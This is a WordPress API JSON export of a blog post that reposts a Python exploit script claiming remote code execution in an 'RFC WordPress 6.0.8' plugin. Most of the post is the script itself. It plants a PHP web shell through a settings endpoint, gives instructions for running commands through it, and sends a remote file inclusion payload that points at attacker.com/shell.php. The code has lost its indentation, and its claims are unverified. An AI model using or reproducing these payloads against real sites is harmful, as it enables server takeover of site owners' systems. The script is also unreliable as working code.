{"id":57534,"date":"2024-06-17T20:00:53","date_gmt":"2024-06-17T17:00:53","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179099\/wprfc608-shell.txt"},"modified":"2024-06-17T20:00:53","modified_gmt":"2024-06-17T17:00:53","slug":"wordpress-rfc-wordpress-6-0-8-shell-upload","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/wordpress-rfc-wordpress-6-0-8-shell-upload\/","title":{"rendered":"WordPress RFC WordPress 6.0.8 Shell Upload"},"content":{"rendered":"<p>Exploit for Remote Code Execution (RCE) in RFC WordPress 6.0.8<\/p>\n<p>import requests<br \/>import sys<\/p>\n<p>target = &#8220;https:\/\/target.com&#8221;<\/p>\n<p># Exploit for Remote Code Execution (RCE) in RFC WordPress 6.0.8<br \/>#CODE BY E1.Coders &#8220;The King of Security&#8221;<br \/>def exploit_rfc_wordpress():<br \/>url = f&#8221;{target}\/wp-content\/plugins\/rfc-wordpress\/rfc.php&#8221;<br \/>payload = &#8220;&lt;?php system($_GET[&#8216;cmd&#8217;]); ?&gt;&#8221;<\/p>\n<p>try:<br \/>response = requests.post(url, data={&#8220;rfc_action&#8221;: &#8220;save_settings&#8221;, &#8220;rfc_settings&#8221;: payload})<br \/>if response.status_code == 200:<br \/>print(&#8220;RCE exploit successful!&#8221;)<br \/>print(f&#8221;Visit {url}?cmd=whoami to execute commands&#8221;)<br \/>else:<br \/>print(&#8220;RCE exploit failed.&#8221;)<br \/>except requests.exceptions.RequestException as e:<br \/>print(f&#8221;Error: {e}&#8221;)<\/p>\n<p># Exploit for Remote File Inclusion (RFI) in RFC WordPress<br \/>def exploit_rfi_rfc_wordpress():<br \/>url = f&#8221;{target}\/wp-content\/plugins\/rfc-wordpress\/rfc.php?rfc_action=save_settings&#8221;<br \/>payload = &#8220;http:\/\/attacker.com\/shell.php&#8221;<\/p>\n<p>try:<br \/>response = requests.post(url, data={&#8220;rfc_settings&#8221;: payload})<br \/>if response.status_code == 200:<br \/>print(&#8220;RFI exploit successful!&#8221;)<br \/>print(f&#8221;Visit {target}\/wp-content\/plugins\/rfc-wordpress\/shell.php to execute commands&#8221;)<br \/>else:<br \/>print(&#8220;RFI exploit failed.&#8221;)<br \/>except requests.exceptions.RequestException as e:<br \/>print(f&#8221;Error: {e}&#8221;)<\/p>\n<p>if __name__ == &#8220;__main__&#8221;:<br \/>exploit_rfc_wordpress()<br \/>exploit_rfi_rfc_wordpress()<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit for Remote Code Execution (RCE) in RFC WordPress 6.0.8 import requestsimport sys target = &#8220;https:\/\/target.com&#8221; # Exploit for Remote Code Execution (RCE) in RFC WordPress 6.0.8#CODE BY E1.Coders &#8220;The King of Security&#8221;def exploit_rfc_wordpress():url = f&#8221;{target}\/wp-content\/plugins\/rfc-wordpress\/rfc.php&#8221;payload = &#8220;&lt;?php system($_GET[&#8216;cmd&#8217;]); ?&gt;&#8221; try:response = requests.post(url, data={&#8220;rfc_action&#8221;: &#8220;save_settings&#8221;, &#8220;rfc_settings&#8221;: payload})if response.status_code == 200:print(&#8220;RCE exploit successful!&#8221;)print(f&#8221;Visit {url}?cmd=whoami to execute &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57534","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57534","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57534"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57534\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57534"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57534"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57534"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}